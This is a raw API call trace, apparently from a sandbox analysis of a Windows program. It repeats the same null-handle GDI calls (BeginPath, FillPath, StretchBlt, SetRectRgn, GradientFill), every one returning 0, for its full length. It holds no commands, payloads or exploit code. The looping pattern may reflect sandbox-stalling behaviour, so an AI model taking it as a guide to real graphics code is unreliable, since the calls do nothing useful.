[0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.051] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.051] GradientFill () returned 0x0 [0030.051] BeginPath (hdc=0x0) returned 0 [0030.051] FillPath (hdc=0x0) returned 0 [0030.051] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.052] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.052] GradientFill () returned 0x0 [0030.052] BeginPath (hdc=0x0) returned 0 [0030.052] FillPath (hdc=0x0) returned 0 [0030.052] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.053] FillPath (hdc=0x0) returned 0 [0030.053] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.053] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.053] GradientFill () returned 0x0 [0030.053] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.054] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.054] GradientFill () returned 0x0 [0030.054] BeginPath (hdc=0x0) returned 0 [0030.054] FillPath (hdc=0x0) returned 0 [0030.054] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.055] BeginPath (hdc=0x0) returned 0 [0030.055] FillPath (hdc=0x0) returned 0 [0030.055] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.055] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.055] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0030.056] GradientFill () returned 0x0 [0030.056] BeginPath (hdc=0x0) returned 0 [0030.056] FillPath (hdc=0x0) returned 0 [0030.056] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0030.056] 